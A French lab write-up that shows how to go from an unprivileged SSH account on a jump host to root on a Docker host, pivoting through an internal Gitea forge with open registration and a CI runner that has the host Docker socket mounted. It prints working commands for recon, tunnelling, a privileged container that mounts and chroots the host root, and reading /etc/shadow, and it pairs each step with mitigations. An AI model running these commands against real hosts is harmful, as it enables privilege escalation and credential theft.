← Articles

D’un compte SSH à root sur l’hôte, via un runner CI mal configuré

· 9 min de lecture

Sécurité · CI/CD · Docker

J’ai monté un petit lab pour reproduire une situation qu’on rencontre souvent sur les forges auto-hébergées avec CI. On part d’un compte SSH sans privilège, on arrive root sur l’hôte Docker. Entre les deux, rien de sophistiqué : un rebond réseau, une inscription ouverte, et un runner CI dans lequel le socket Docker de la machine est monté.

Aucune de ces étapes n’est une vraie faille. Chacune ressemble à une petite négligence qu’on laisse passer. C’est en les enchaînant qu’on obtient le root. Pour chaque étape, je note donc aussi ce qui aurait suffi à arrêter l’attaque.

Le lab

Chaîne d’attaque du labDepuis un compte SSH sans privilège sur jump, l’opérateur scanne le réseau interne, atteint Gitea par une redirection de port SSH, s’inscrit, lance un workflow sur le runner CI, puis utilise le socket Docker monté dans le runner pour démarrer un conteneur privilégié qui monte la racine de l’hôte : il obtient root sur l’hôte sans passer par le réseau.Hôte Dockerréseau interne · internal: trueOpérateursans privilègejump① nmap statiqueGiteainscription ouverterunner CIaccepte tout dépôtdockerdsocket de l’hôteconteneur privilégié-v /:/hostroot sur l’hôtechroot /hostssh② ssh -L③ CI④ docker.sockrun
La chaîne complète. Les étapes ① à ④ sont détaillées plus bas ; la dernière (en orange) ne passe plus du tout par le réseau.

Trois conteneurs :

  • jump, la seule machine accessible depuis l’hôte (SSH sur le port 2222). Elle est branchée à la fois sur le réseau exposé et sur le réseau interne ;
  • gitea, la forge. Aucun port n’est publié vers l’hôte, elle est donc invisible de l’extérieur. L’inscription est ouverte et les Actions (la CI) sont activées ;
  • runner, un act_runner connecté à Gitea qui exécute les jobs, avec /var/run/docker.sock monté.

Le réseau interne est déclaré internal: true dans Docker : il n’a de route ni vers l’hôte ni vers internet. L’idée est que jump soit la seule porte d’entrée et que la forge reste à l’abri. Sur le papier, la segmentation tient.

1. Se repérer depuis le rebond

On commence avec un compte utilisateur sans privilège sur jump :

ssh student@127.0.0.1 -p 2222

La machine a bien deux interfaces :

jump:~$ ip a
# eth0 -> 172.22.0.2/16   (réseau exposé)
# eth1 -> 172.21.0.3/16   (réseau interne)

Il n’y a pas d’outils sur place : pas de nmap, pas d’apt, parfois même pas de curl selon l’image. Mais jump peut sortir sur internet par le réseau exposé, donc on télécharge un nmap statique :

cd /tmp
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
chmod +x nmap
./nmap -p- 172.21.0.0/24

Ce qu’on trouve sur le réseau interne :

172.21.0.1  -> hôte  (22/80/443)
172.21.0.2  -> gitea (22, 3000)
172.21.0.3  -> jump
172.21.0.4  -> runner (tous ports fermés)

La forge répond sur 172.21.0.2:3000. Un wget -qO- depuis jump montre un Gitea 1.22.6 avec un bouton « Register » : n’importe qui peut s’inscrire.

Pour bloquer ici. Cette reconnaissance n’est possible que parce que jump peut à la fois sortir sur internet et parler librement au réseau interne. Une machine de rebond n’a besoin ni de l’un ni de l’autre. Bloquer ses connexions sortantes et ne laisser passer vers l’interne que les flux nécessaires (ici, aucun) réduit déjà beaucoup les possibilités.

2. Atteindre la forge

La forge n’est pas publiée vers l’hôte, alors on passe par jump avec une redirection de port SSH :

ssh -L 3000:172.21.0.2:3000 student@127.0.0.1 -p 2222

Ça ne marche que si le serveur SSH de jump autorise la redirection. Avec AllowTcpForwarding no, le client affiche simplement :

channel 3: open failed: administratively prohibited: open failed

Dans le lab, la redirection est autorisée. http://127.0.0.1:3000 sur ma machine mène donc à la forge interne. Je m’inscris, et j’ai un compte qui peut créer des dépôts et des workflows.

Pour bloquer ici. Côté rebond, AllowTcpForwarding no sur jump interdit le tunnel. On peut aussi être plus fin avec PermitOpen, limité aux seules destinations prévues. Côté forge, DISABLE_REGISTRATION=true empêche un inconnu de se créer un compte capable de lancer de la CI.

3. Exécuter du code dans le runner

Avec un compte sur la forge, je crée un dépôt et j’y ajoute un workflow Gitea Actions. Le runner (act_runner, label ubuntu-latest) accepte les jobs de n’importe quel dépôt, donc le mien aussi.

Un premier workflow suffit pour vérifier deux choses : que mon code s’exécute bien dans le runner, et que le socket Docker est accessible.

name: test-docker
on: [push]

jobs:
  execution-job:
    runs-on: ubuntu-latest
    steps:
      - name: installation docker
        run: curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && rm get-docker.sh
      - name: interrogation docker
        run: docker -H unix:///var/run/docker.sock ps

Le job installe le client Docker, puis interroge le socket. On voit tous les conteneurs du lab, pas seulement celui du job. C’est donc bien au démon Docker de l’hôte qu’on parle :

CONTAINER ID   IMAGE                     ...   NAMES
9eeb6358e0b6   node:20-bookworm          ...   GITEA-ACTIONS-TASK-...execution-job...
b20ca9a63be1   gitea/act_runner:latest   ...   lab-runner
25071b0ec58b   alpine:latest             ...   lab-jump
905523e02378   gitea/gitea:1.22          ...   lab-gitea

On n’est pas encore sorti du conteneur, mais on a accès au démon, et c’est tout ce qu’il faut pour la suite.

Pour bloquer ici. Un runner ne devrait pas exécuter les jobs de n’importe quel dépôt. On le réserve à une organisation de confiance, et on n’expose pas un runner partagé à des dépôts que tout le monde peut créer. C’est la combinaison « inscription ouverte + runner global » qui transforme un compte quelconque en exécution de code.

4. Du runner à l’hôte

Pouvoir parler au socket Docker de l’hôte, c’est être root sur l’hôte. Ce n’est pas un bug de Docker, c’est le principe même du socket : celui qui peut écrire dedans peut lancer un conteneur avec les droits et les montages qu’il veut. Pas besoin d’exploit, il suffit de demander un conteneur privilégié qui monte la racine de l’hôte :

docker -H unix:///var/run/docker.sock run --rm -it \
  --privileged --net=host --pid=host \
  -v /:/host \
  alpine chroot /host sh

/host est maintenant le système de fichiers de l’hôte, et le chroot donne un shell root dessus. On peut lire n’importe quel fichier, ajouter sa clé dans /root/.ssh/authorized_keys ou récupérer les secrets des autres conteneurs. La segmentation réseau du départ ne sert plus à rien : on n’est pas passé par le réseau, mais par le démon Docker.

Plus discret, sans shell interactif ni conteneur privilégié :

docker -H unix:///var/run/docker.sock run --rm \
  -v /:/host alpine cat /host/etc/shadow

Pour bloquer ici. C’est l’étape la plus importante. Monter /var/run/docker.sock dans un runner de CI, c’est donner le root de l’hôte à tout le code qui passe par cette CI. Les alternatives sont connues :

  • ne pas monter le socket si le job n’a pas besoin de Docker ;
  • pour construire des images, utiliser un outil sans démon (Kaniko, Buildah) ou un Docker-in-Docker isolé avec son propre démon jetable ;
  • passer par un proxy de socket (par exemple docker-socket-proxy) qui n’expose qu’une partie de l’API, en lecture ;
  • pour du code peu fiable, faire tourner les jobs dans un runtime plus isolé (gVisor, Kata).

La chaîne complète

ÉtapeCe qui la rend possibleCe qui l’aurait bloquée
Reconnaissance internejump sort sur internet et parle librement au réseau interneBloquer les sorties, filtrer les flux depuis le rebond
Accès à la forgeRedirection de port SSH à travers jumpAllowTcpForwarding no ou PermitOpen restreint
Compte sur la forgeInscription ouverteDésactiver l’inscription libre
Code exécuté en CIRunner global qui accepte tous les dépôtsRunner réservé à une organisation de confiance
Sortie vers l’hôtedocker.sock monté dans le runnerNe pas monter le socket, builder sans démon ou isolé

Ce que j’en retiens

Aucune de ces étapes n’aurait sa CVE. Ce sont cinq choix de configuration, et chacun se défend : un rebond qui télécharge ses outils, un réseau segmenté, un tunnel SSH autorisé, une forge ouverte aux inscriptions, un runner qui sait construire des images Docker. Mis bout à bout, ils mènent d’un compte SSH sans droits au root sur l’hôte.

Le dernier maillon est celui que je surveillerais en premier. La segmentation réseau du lab est propre, et pourtant elle ne sert à rien, parce que la sortie passe par le démon Docker et pas par le réseau. Isoler les réseaux ne protège pas grand-chose si on laisse ailleurs un accès direct au contrôle de l’hôte, et un socket Docker monté dans une CI en est un.